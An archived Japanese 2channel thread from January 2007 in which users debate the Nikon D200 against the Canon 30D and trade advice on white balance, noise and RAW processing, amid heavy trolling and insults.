　 |　　　 |　　　｀</　lｏ　）　　⌒q! /　　　 .|　　　|
　 .|　　　 |　　　　＼/'　　　 _,　　|/　　　　　ﾄ､　　!
　　|　　　|　　　　　　＼　⌒,,,⌒ /　　　　　ﾊ　　ヽ
　　.|　　 .|ﾍ　　　　　　＼巛《 /　　　　　　 l　）　　＼
　　 |　　 .| ヽ　　　　　　　彡ﾟдﾟミ　　　　　　 ,' ﾉ　　　　　＼
　ノ　　　ヽヽ　　　　　　　ミ《》彡　　　　 .ﾉ　ゝ､＿＿
／　　　　　ヽﾍ､　　　　　　ﾐ＊ﾐ　　　　／　　　　　　｀⌒
　　　　　＿ノ　｀ｰ､. _　　　,X､.＿,.-‐'´

806 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 10:25:46 ID:YUad3bXCO

気違いワラ太郎芯でください。

807 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 11:03:19 ID:RJy+pU6jO

>>806 芯でください

808 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 13:24:19 ID:VW15LgSg0

誰もカメラネタで漏れに挑めないのが笑えるｗｗｗ雑魚ネッツばっかｗｗ

809 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 13:24:53 ID:VW15LgSg0

質問に答えられない人格攻撃は敗北宣言といっしょｗｗｗ基地外にも勝てない程度のカメラ知識しかないのか？？ｗｗ　

今、ビックカメラ売り上げ一人勝ち！＝ニコンD200！！

810 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 13:26:02 ID:VW15LgSg0

何故かカメラの話題を避け捲くるキャノネッツｗｗｗ恥の上塗りｗｗｗ

811 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 13:27:05 ID:VW15LgSg0

>>806 ああ、どうぞ～荒れたら介入するけどねｗｗｗ

それより、漏れの発言がおかしいなら理論的な反論しなよｗｗｗカメラ音痴の初心者君ｗｗ

812 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 13:28:24 ID:VW15LgSg0

狂乱してるのは、キャノネッツが売れてるD200を目の仇にして荒らしてるせいなんだがｗｗｗ

非ユーザー連中だから、カメラの話題は避けるだろ？？ｗｗマトモな会話になったら漏れに瞬時に論破されるんで、人格攻撃しか出来ないんだよｗｗｗ

813 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 13:30:34 ID:dHI8QFD00

ビックのベスト10のうち、Fマウントじゃないのは2台だけか・・・これは有る意味、凄い事かもね。

814 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 13:37:40 ID:BPKivBBV0

最近デジイチ購入しようとスレを色々拝見してるんだけどさー、
ニコンとキャノンも賛否両論あって甲乙つけがた。
が、スレッドの質はD200低すぎだよな。
30Dのほうが建設的だよな。
なんでここバカばっかなの？？

815 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 13:42:07 ID:dHI8QFD00

>>814
昔から荒らしが多いからだよん。
一時期は良かったんだけどねぇ・・・最近また荒らしが増えたね。
何でだろうね？

816 ：814：2007/01/17(水) 13:43:53 ID:BPKivBBV0

>>815
そーなんですか・・・
D200に心揺らぎはじめてるから、
本当にD200好きなユーザーの意見とか聞きたいだけに悲しい。。

817 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 13:49:50 ID:dHI8QFD00

>>816
まずは聞きたい事を聞いて見れば良いんじゃない？

818 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 13:52:19 ID:Vu/FVl6b0

デジカメ板のキチガイの多さは異常

819 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 14:04:19 ID:U7kDbOgy0

そこまでして好きなメーカーの宣伝というか、宣伝になってないけど、そういう事する理由がわからん
他人が何使っててもどうでもいい気がするんだがな。
ｷｬﾉﾈﾂが何使っていようと関係ないのと一緒だ。
その程度のことはどうでもいい。

820 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 14:08:33 ID:IBDpYZDE0

だから30D持ってないだろ

821 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 14:08:55 ID:i5XnJdim0

こんなんばっかりだし、2ちゃん閉鎖してもいいんじゃないの？って思うね。

822 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 15:03:19 ID:AtSMtGBg0

フジＳ５プロってＤ200と同じボディなんでしょ
どっちが良いの？

823 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 15:04:59 ID:aG5Ojgik0

発売されていない機種は比較できない。

824 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 15:20:10 ID:oLrpDlrs0

それでは漏れから質問です！

おまいらのヨメがデジイチ買うといいだしました。
Ｄ200か30Ｄか迷っているそうです。
おまいらのヨメはカメラ初心者です。どっちをすすめますか？
レンズ資産のことはナシでおながいします。

ちなみに漏れは30Ｄのほうが見栄えするアルバム作れるとおも。
まちがってますか？

825 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 15:40:53 ID:yll5Megx0

>>824
見栄えするアルバムってどんなやつだろ？
初心者に進めるならK100Dかα１００の方がよいよ

826 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 15:42:36 ID:IBDpYZDE0

まずD200を買う
その出来の悪さを味わってからヤフオクする
そして30Dを買うとそれが正解だったことが解る
あ、いや、40Dを待て

827 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 15:48:45 ID:YUad3bXCO

キヤノネッツとニコマンセー、一人二役のワラ太郎！早く氏ね！

828 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 15:49:23 ID:Y/H6kgDi0

>>824
どっちを買っても間違いじゃないと思うが、
初心者がいきなり高機能機を買っても使いこなせないだろうに。

829 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 16:00:10 ID:aG5Ojgik0

>>824
嫁：D200,30D
自分：30D
なら、30Dだろ。
D200スレで聞く内容じゃ無いと思うが。

830 ：824：2007/01/17(水) 16:04:12 ID:oLrpDlrs0

漏れの意は30Ｄのほうが初心者にもやさしいし
初心者が成長するのにも付き合ってくれるいいカメラっつーか
商品だとおもっているわけですよ。
そこがね、Ｄ200はなれない椰子には手ごわい。
そこが未完成な部分だと。

そんなとこです。レスくれた人ありがと～ｗ

831 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 16:09:25 ID:aG5Ojgik0

>>830
＞初心者にもやさしいし
＞初心者が成長するのにも付き合ってくれるいいカメラ
＞Ｄ200はなれない椰子には手ごわい。

具体的に書かないと、頭の悪い工作員だぞ、と。

832 ：824：2007/01/17(水) 16:21:37 ID:oLrpDlrs0

キヤノンはやはりＡＷＢとＪＰＥＧ、そして高感度ノイズでしょ。
他社のホワイトバランスいじる人はよく設定戻すの忘れているｗ
そして高感度でノイズが少ないのはやはり抜群に使い勝手いい。
高感度使う事は意外と多いよ。初心者はちょっとくらいからやめた、とか
思わないもんね。言い古されたことばかりで悪いけど。

漏れがここでこんなこというのは、ここでは
Ｄ200のちういすべき問題点なんてめったに語られないからですよ。
この辺は知った上で買うべきカメラだと思っているわけです。

833 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 16:25:32 ID:dHI8QFD00

>>824
初心者にはどちらも薦めないなぁ。
D200持ちの嫁に薦めるなら、D40じゃないか？
キヤノンが良ければKissDシリーズだろうし。

834 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 16:26:22 ID:dSnsJItT0

嫁がD200とか30Dとか
言うわきゃない。

835 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 16:26:38 ID:KXLWbHlH0

>824

その二つから選択しなきゃならないのかしらん。
私的には、D40を買うが答えだと思うのだが。

836 ：824：2007/01/17(水) 16:31:33 ID:oLrpDlrs0

Ｄ40とか言ったら質問が成立しないではないか。
おまいらうぃっとにかける椰子らだなｗ

まあヨメは意欲満々という設定だ。
ここでＤ200どうすか、とか聞くやつはそんなのばっかりだろ？
濡れが言いたい事はすべておっぴろげたのでこの辺で～。

837 ：824：2007/01/17(水) 16:34:08 ID:oLrpDlrs0

あ、言い忘れましたが３０ＤはＰのまんま
コンデジみたいに使っても特に不満ないです。
すごいモダンだとおもうよそんなところが。

838 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 16:38:01 ID:dHI8QFD00

>>836
>ここでＤ200どうすか、とか聞くやつはそんなのばっかりだろ？
いや、D200を購入検討している人に、初心者はほとんど居ないよ。
デジ初心者は居るけど、少なくとも銀塩ニコン機は経験した人。

839 ：824：2007/01/17(水) 16:41:37 ID:oLrpDlrs0

しつこいようだがもう一言。わかって買う人に文句はないぬ。
これにて消えます。

840 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 16:53:36 ID:RJy+pU6jO

30D？はぁ？

( ´,_ゝ`)ﾌﾟｯ

841 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 16:56:23 ID:U7kDbOgy0

なんだかんだ言って軽い方が女人にはウケる。
うちのカミさんはD200は「重くてヤダ」D50でも「まだ重い」と愚痴こぼす。

842 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 17:09:53 ID:7nSPvZE30

うちのツレはD40+キットレンズは文句言わずパチパチ撮ってた。
D200は持ちたがらない（重くて落としそうで怖い）
以前28-70/2.8とSB24付きF4Eを持たせて待たせてたら怒った。

D200くらいのボディ重量、撮影中はむしろいい感じのバランスなんだがねえ。

843 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 17:28:53 ID:2XpAkCIT0

>>838
俺は銀塩カメラは「写るんです」「バカチョン」「親父のEOS」以外で撮ったことない。
7,8年前からコンデジ使い始めて、娘を撮る為にデジ一デビューを決意、とりあえず店頭へ。
Canon派という訳ではないけど、コンデジがずっとCanonだったので無意識にCanonにしようと
思ってた。D80でキムタクがやってたこともあってNikonはやめようと（笑）。しかし、Canon
は触った感じが小さくて軽くて華奢。まるで最近のプリンターみたいにスカスカなイメージ。
何気なく隣にあったNikonブースのD200を触った瞬間バチコーン！！と来ちゃった。俺が探し
求めていたものはこれだ！と。倍ぐらい予算オーバーしたし、購入までには2ヶ月ぐらい悩んだ。
でも、最終的には買っちまった。今はとても満足している。直感を大事にしといてよかった。
コンデジのマニュアルで色々いじりながら撮ってたから、少し勉強すれば、案外知識の敷居は低かった。
写りがどうのこうのはまだ良く判らないけど、このカメラで写真を撮ってることに今は幸福を
感じてる。子供の成長記録をいいカメラで、との当初の目的を大幅に超えて、カメラが趣味の
一つに加わった。今はただD200で撮れることを喜んでいる。

844 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 17:42:16 ID:U7kDbOgy0

確かにある程度の重量は必要だと思う。
が、D200の前がOM-4Tiだったから衝撃的だったw

845 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 18:50:34 ID:s/3NptRM0

まぁ　RAW現像に興味無い椰子はおとなしく30Dいっとけ・・と
キャノのAWBは正確でJpeg撮って出しでまずおかしな絵にはならんだろ。

俺はRAW現像やりたかったのとD200の造りに惚れ込んでD200にした。
コンデジはキャノンオンリーだったから30Dも考えた時期はあったけどね
電源の位置が('A`)なのとｲﾏｲﾁ所有欲が沸かない造りで（ｒｙ

846 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 19:05:45 ID:pqWG3vJC0

馬鹿馬鹿しい。

847 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 19:16:47 ID:dSnsJItT0

そうそうD200のカチカチのミッチリ感は何ものにも変えがたい。
重い重いゆーけど、
前がF4Sだったからむしろ心地よい重さ…

848 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 19:36:05 ID:VW15LgSg0

D200持ってないのに必死に粘着してレスを恵んでもらおうとするキミのほうがどうみても変態なんだが？？

非デジ1所有者のレス乞食君ｗｗｗお得意のリアル脅迫が不発なのもショックだった？？ｗｗ

849 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 19:37:15 ID:VW15LgSg0

何故かカメラの話題を避け捲くるキャノネッツｗｗｗ恥の上塗りｗｗｗ

850 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 19:37:49 ID:VW15LgSg0

ま、売れてるカメラの板はいろいろ大変なんで、面倒見てるのは確かｗｗｗ

851 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 19:38:38 ID:VW15LgSg0

ふふｗｗｗインターネッツだと、適当なことが言えて楽しいねｗｗｗ虚弱体質な香具師って、そういう変なカキコするのかなぁ？？ｗｗ

852 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 19:39:25 ID:VW15LgSg0

D200は5Dと30Dの価格的中間位置だけど、中級ウザーが扱う画質の素性という点ではむしろ上にランクされて然るべきですねｗｗｗ

853 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 19:52:38 ID:y6eM7C6Q0

漏れはD200使ってるけど、AWB&JPG撮ってだしばかりだぞ。
オマケに高感度もかなり使う。

しかしＤ200の操作性になれてしまったから、いまさら30Ｄには変えられん。

854 ：845：2007/01/17(水) 20:13:00 ID:s/3NptRM0

>>853
先生、WBどうしてる？
屋外の晴天固定ってのは納得できるが、室内撮りではWB決められないでしょ

855 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 20:24:58 ID:y6eM7C6Q0

野外もAWBに指定して撮ってる。
でも室内はAWBがあまり役にたたん。赤被りしたり、黄色被りしたり。
晴天下や曇り空程度なら、十分にAWBでもキレイにとれるんだけど、
室内の蛍光灯下や電球下なんかは、結構はずず。

キヤノンはこういう、難しい光源下でもAWBで撮れるものなんか？

AWBで撮影
ttp://up2.viploader.net/upphp/src/vlphp005731.jpg

画像処理ソフトで補正
ttp://up2.viploader.net/upphp/src/vlphp005732.jpg

856 ：814：2007/01/17(水) 20:26:56 ID:BPKivBBV0

>>817
わかりやした。
実際自分が一番聞きたいこと質問させていただきます。
D200を愛している人限定で・・。
30Dもしくはキャノン製品にここが負けていると思う点はどこでしょうか？
人間にも足の速い人。絵のうまい人。VW15LgSg0。のように長所・短所があると思うのです。
要はD200の短所を教えてほしいです。

857 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 20:45:19 ID:tWyEFzuV0

短所は無いよ。

858 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 20:49:55 ID:s/3NptRM0

>>856
なんだそれ？何を気にするんだ？長所だの短所だのって
そんな周りの評価を一々気にして買うもんか？携帯スレの「どの色がいいでしょうか？」みたいなもんだぞ
自分の信じた物を使えばそれでいいと思うのだが？

859 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 20:51:32 ID:s/3NptRM0

>>855
屋外でAWBにすると色温度高くなるでしょ　微妙に。
まず黄色味がかってると思うよ

860 ：814：2007/01/17(水) 21:00:38 ID:BPKivBBV0

>>858
使わないとわからないことってあるじゃん。
俺貧乏だからD200でも高額なのね。

あなたの意見は尊重しますが、
経験豊な人からの意見を聞いて、慎重にえらぶことがおかしいかな？？

861 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 21:05:58 ID:+mY8Vvl30

>>860
聞くなら、実際に使っている人に、時下に聞いたほうがいい。
２ちゃんねるで、本当の事など聞けるはずが無い。

862 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 21:15:54 ID:s/3NptRM0

>>861
ここでもまともな奴は多いと思うぞｗ

>>860
だから人の意見に左右されるのかって事。自分の気持ちとか無いのかい？
慎重と他人の意見は別物だと思うよ。
自分の意志が第一だからお互い気になるならまずはググるなりして個人ブログ漁ったり
メーカーから取説DLしたりして「自分で」判断しないか？って事

863 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 21:21:53 ID:y6eM7C6Q0

AWB&JPG撮って出し
ttp://up2.viploader.net/upphp/src/vlphp005748.jpg
ttp://up2.viploader.net/upphp/src/vlphp005749.jpg

こういう光源の簡単なところならAWBでも良く写るんだが、
>>855のように薄暗い場所で人工的な光源はコケルことが多い。

864 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 21:28:08 ID:7nSPvZE30

>>860
ここは発売からず～とペンペン草も生えないくらい荒らされたからね。
他メーカー機種と比較、しかもネガティブな部分を語れとくれば、
皆さん釣りじゃないかと勘ぐるわけですよ。
質問の仕方を変えては如何かと。

865 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 21:35:27 ID:s/3NptRM0

>>863
黄色い・・・・と思うのだがｗ

>>864
いやいや何となく荒らしかどうかはわかるよ　耐性もあるし。
カメラに限らず、自分で調べもせず安易な他人の意見伺いってとこにｵｲｵｲと思っただけ
それに短所は？なんて言ったらそれこそアンチが沸いて来るしまともな意見なぞ望めない。

866 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 21:36:37 ID:BPKivBBV0

>>862
色々他のサイトとかみたりしてるよ。
他人の意見には左右はされると思う。でも最終的には自分の判断できめるけどね。
逆に他人からなんらかの影響をうけて生きてるもんだとも思うしね。

俺超素人だから全然わかってないけど、自分なりに調べて多少知識つけて
実際店に行ってカシャったりもしたよ。
30Dはファインダーが醜いなぁとか。D200って結構重いもんなんだなぁとか。
でもやっぱ使ってる人の意見がききたかったんだよね。

俺もそこまでバカじゃないから、書込みを鵜呑みにはしないし、
信憑性も自分なりに判断するからD200使いの人が色々書込んでほしいなぁって感じかな。
言い方悪けど、ここも判断材料の一環として利用するつもり。

なかなか意見きくのもむずかしいなぁ。

867 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 21:44:07 ID:ZMqCTbOt0

>>824

いまから始めるんなら
圧倒的にＫ１０Ｄだと思うけど。
価格と性能から判断して１－２年は先んじてる。

868 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 21:49:15 ID:s/3NptRM0

>>866
そか　何かすまなかったね
RAW現像したいかい？それともJpeg撮って出しで充分？
RAW現像も視野に入れてるならD200だよ。ニコンキャプチャーは多機能で非常に優れていると思う
カメラ本体の仕上がり設定もソフト上で後から変更出来るしね。

RAW現像ソフトも一つのシステムと考えるとニコンは面白いよ
高感度ノイズも本体内NRはタコだが本体側をNROFFにしてソフトで追い込めばISO1600でも
2Lサイズ位なら全然常用範囲に仕上げれるし。

本体の造りや操作感は好みだから何とも言えないが俺はキャノ系は所有感は沸かない
キャノのAWBは正確なのはわかってるけど撮って出しで使うならコンデジで充分ｗ
現像も含めて一眼を楽しみたいからソフト（NCやNX）が面白そうなニコンを選んだ。

少しでも参考になれば幸いです。

869 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 21:52:58 ID:N6TB/UTL0

ttp://www.carview.co.jp/tas/2007/gal/kenstyle/default.asp?p=9

exifないが、この絵って・・・

870 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:08:03 ID:dHI8QFD00

>>856
>30Dもしくはキャノン製品にここが負けていると思う点はどこでしょうか？
高感度ノイズは30Dや5D,KissDNには負けているんじゃないかな？
KissDXには負けていないと思うけど。
それ以外は、30Dは使った事が無いので判らんな。

871 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:09:31 ID:5powa7LX0

800万画素と比べてノイズが多いとか言われてもねぇ・・・。

872 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:13:31 ID:oIKx1QjQ0

キャノネッツは無職でも青年でもないようだがｗｗｗま、その辺はよかろうｗｗｗ

　キャノン製品には夢が無いから、夢がある製品は攻撃したくなるんだよｗｗｗ

計画経済（＝社会主義）のような土壌からは、本当にこだわったいい製品は生まれないのだろうｗｗｗ

873 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:14:04 ID:oIKx1QjQ0

　　ま、キャノネッツのがんばりもキャノン叩きの調味料ｗｗｗ

　　　
　　社畜カメラがんがれｗｗｗ

874 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:14:42 ID:oIKx1QjQ0

狂乱してるのは、キャノネッツが売れてるD80を目の仇にして荒らしてるせいなんだがｗｗｗ

非ユーザー連中だから、カメラの話題は避けるだろ？？ｗｗマトモな会話になったら漏れに瞬時に論破されるんで、人格攻撃しか出来ないんだよｗｗｗ

875 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:15:13 ID:oIKx1QjQ0

ま、売れてるカメラの板はいろいろ大変なんで、面倒見てるのは確かｗｗｗ

876 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:16:18 ID:oIKx1QjQ0

さて、今日のお題はこれだったなｗｗｗマンセーだ！！　VRマクロ+D200＝無敵のコラボレーション！！これだぁぁぁ！！！

877 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:17:08 ID:oIKx1QjQ0

コレが効くみたいｗｗｗ基地外だから何度でも釣られて手間いらずｗｗ ↓　↓　↓　↓　↓　　　　

去年のビックカメラ売り上げNO.1はD200だ！！やっぱニコンの中級機は最高！！ｗｗｗなんでこんなのに釣られるのか、漏れもワカランガ効果絶大ｗｗｗ

878 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:21:23 ID:YUad3bXCO

ワラ太郎氏ねやコラ！

879 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:33:31 ID:iaF0tVFA0

2007/01/17(水) 22:14:04 ID:oIKx1QjQ0
無意味書き込みを連続することによって会話の成立を妨害するダニ

880 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:44:25 ID:ZMqCTbOt0

まぁ、基地害キャノンユーザーを装った
真性基地害ニコンユーザーといったところか？

881 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:46:19 ID:s/3NptRM0

ペン太かもしらんぞ？

882 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:46:30 ID:+mY8Vvl30

いや、キチガイはむしろ、お前じゃないのか。
880

883 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:51:24 ID:dHI8QFD00

まあでも>>886にはD200じゃない方が良いんじゃないかな。
30DかD80が良い気はする。

884 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:52:14 ID:dHI8QFD00

あ>>868だったね。

885 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:52:56 ID:QcWwFbGY0

>>886
お墨付き予想だ　ガンガレｗ

886 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:53:02 ID:dHI8QFD00

さらに間違った>>866だった・・・スレ汚しスマン。

887 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:54:13 ID:s/3NptRM0

>>884
おいおいおいｗ俺かよ
俺はすでにRAW撮りオンリーなD200持ちだよ

888 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:54:53 ID:s/3NptRM0

>>886
｡･ﾟ･(ﾉ∀`)･ﾟ･｡

889 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:55:05 ID:dHI8QFD00

>>887
大変申し訳なかったです>>886です・・・orz

890 ：886：2007/01/17(水) 22:56:44 ID:dHI8QFD00

つう訳で、責任とってD200を売って30DかD80を買わねばならんかなぁ・・・orz

891 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 22:57:00 ID:5powa7LX0

NGワードでは消えない>>884-889の方が悪質。

892 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 23:17:57 ID:y6eM7C6Q0

AWB&JPG撮って出ししかしない漏れは30Ｄに乗り換えるかな・・・。
ニコンはWB晴天に設定して写真撮るのが定説みたいだけど、キヤノンはAWBで
ほとんどの環境下でキレイに撮れるのかな？

893 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 23:19:26 ID:mgNFyGAE0

800万画素でよければ30Dもありでしょう。

894 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 23:23:49 ID:ZMqCTbOt0

>>882

ごめんごめん。
ニコンユーザーに悪い人はいないよね。

895 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 23:24:39 ID:QcWwFbGY0

買い替えだと差額で損だが
３０Ｄみたいなショボイの買うより
１Ｄｍｋ２Ｎ買えよ　最高だよ８ＭのＡＰＳ－Ｈはｗ

３０ＤってＫＩＳＳＤの連写バージョンだろｗ
オモチャだよ　

896 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 23:43:40 ID:qwl1LLPu0

キヤノンはAWBが凄い。とか言うけど、そんな難しい光源下ではキヤノンのAFは全滅。
蛍光灯下なんてピンボケのオンパレード。

カタログでは分からない部分は徹底して手を抜く辺りはさすが商売上手。

897 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 23:52:54 ID:s/3NptRM0

>>896
マジすか　('A`)

898 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 23:54:25 ID:G4DTkbnH0

　キャノネッツがまた必死化してるね（ニヤニヤｗｗｗ

どんなに頑張ってもニコンの足元にも及ばないのにｗｗｗあ、それでヤケクソになってるのかｗｗｗ

899 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 23:56:42 ID:G4DTkbnH0

旧式化した20Ｄをちょこっと弄っただけの30Ｄや、静物専用でモッサリな5Ｄとかしかない

キャノンがＤ200スレ荒らしたってな～ｗｗｗ

　　　対　抗　機　種　な　い　じ　ゃ　な　い　ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

900 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 23:58:18 ID:3d7ykf5u0

どこのバイトでヘマをやって馘首されたのを逆恨みしているのかね？

901 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:01:59 ID:+fylKFcu0

30DもD200もいいカメラだから、どちらを買っても
後悔することはないと思うよ。隣の芝は青く見えちゃうけどね。

RAW派はNikonってのは安易に同意できないが、
カメラボディの比較より、>868の言うようにシステムで考えたほうがいいね。
レンズとかその後の投資額も変わってくるだろうし。

ファインダと液晶はD200が優れてる。
高感度とサイズは30D。
操作感は30D（俺はね）。
AFはファインダの大きさも含めてD200かなぁ。
30Dも悪くないけど、蛍光灯下でずれるのは事実。
ファインダ小さいから、MFで調整もやりにくい。

902 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:09:50 ID:e/8s2GIG0

ま、ちょっとはキャノネッツが抵抗してくれないとカキコしてて張り合いがないからなｗｗｗ

　こっちは現物押さえてるだけにいくらでも言い分はあるワケでｗｗｗ

実際、デジタル化以前に購入したLレンズ（だけじゃないかもしれんが漏れの場合特にL　orz）はピント
位置がおかしいケースあるのでから注意しましょう！
というか、調整しないと持ち腐れ・・・ｗｗｗ

903 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:10:38 ID:e/8s2GIG0

　いや、レンズはそんなに故障しないけどねｗｗｗカメラ本体は結構ハングアップするよｗｗｗ

　これは（漏れの経験的に）キャノンだけに見られる現象ｗｗｗ

904 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:11:10 ID:e/8s2GIG0

　ふふｗｗｗどんなに頑張ったってキャノンユーザーの漏れを敵にまわした時点でなｗｗｗ終ｗｗｗ

　雑魚キャノネッツで5ＤやＬレンズ揃えててキャノンユーザー歴２０年というのはｗｗｗ

905 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:12:49 ID:e/8s2GIG0

キャノンから金もらってなきゃここまで粘着できないだろ！ｗｗｗ

　1年中荒らし続けててＰＣは他人のカキコの保存で一杯になってるんだよ？ｗｗｗ

　　普通に正気の人間でこういうのはいないよな？？　これがキャノネッツｗｗｗ

906 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:12:55 ID:bKYghWje0

　キャノンが操作感でニコンを上回ったコトは1度もない（断言）ｗｗｗ

907 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:13:21 ID:e/8s2GIG0

荒氏のくせに、D200板で自己主張するコト自体、勘違いｗｗｗｗ

908 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:13:52 ID:e/8s2GIG0

そそｗｗｗキャノネッツ入れ食いなのよｗｗｗほんとにキャノン見放してよかったｗｗｗ
こんなのと板でナカーマになってるキャノウザーが可哀想ｗｗｗ

909 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:14:06 ID:bKYghWje0

都合の悪いコピペはしないのねｗｗｗ

　キャノンから金もらってなきゃここまで粘着できないだろ！ｗｗｗ

　ID:oIKx1QjQ0　なんか1年中荒らし続けててＰＣは他人のカキコの保存で一杯になってるんだよ？ｗｗｗ

　　普通に正気の人間でこういうのはいないよな？？　これがキャノネッツｗｗｗ

910 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:14:16 ID:KLOt8W6X0

どこのバイトでヘマをやって馘首されたのを逆恨みしているのかね？

911 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:14:24 ID:o7zOLDYZ0

クールピクスやパワーショットＡシリーズあたりのコンデジユーザーがうぜぇなぁｗ

読みかじりみたいなガキみてぇな書き込みしかしねぇし

912 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:15:46 ID:gcx39PlN0

このwwwの競演は何なんだ！？

913 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:16:21 ID:gFXM2bjd0

>>892
D200ユーザでは無いけれど(D80ユーザです)、
思うにAWBに何を求めるかで答えが変わってくる気がします。
赤い光源下では、白いモノも赤く写るのが正しいので晴天固定がデフォなのかと。
少なくとも自分はそうです。

ただ、例えば白熱灯だけの部屋で晴天固定で撮った写真は
極端に黄色に見えます。WB固定なので素直にそのまま写した結果なんですが
目で見た感覚と写真が違ってきます。人間の目は、部屋全体の色が偏っていれば
脳内変換して色補正してしまう為、そのマンマ写した写真は光源の色が
強く出て違和感があるらしいです。
AWBは、この感覚のズレを補正する程度に補正するのか？(雰囲気重視)
補正して白いモノは白くするWB重視にするかて設計思想もあるかも。

ただ、D80ですが蛍光灯下で人をメインに撮る場合は、AWB使いません。
青く病的な顔色は避けたいので。

被写体から反射してくる光は、結局被写体の色で反射してくるので
カメラでは完璧なAWBは不可能だと思います。キヤノンの場合、赤はキッチリ
白側に補正して、青は気にならない程度に赤系寄りに補正して気にならないのでは
ないかなぁ？、と思います。
>>855の例を見ると、キッチリAWB補正をしたい様なので、
ポケットティッシュも持参して、ティッシュペーパ１枚でプリセット一発しては
どうでしょうか？
雰囲気消え去りますが、白いモノは白く撮れます。

914 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:16:35 ID:bKYghWje0

　　　キャノンを選択するコト自体、不幸の拡散の始まりｗｗｗ

　　　ブルーカラー（ワーキングプア問題）、ホワイトカラー（残業代不払い問題）

　　　
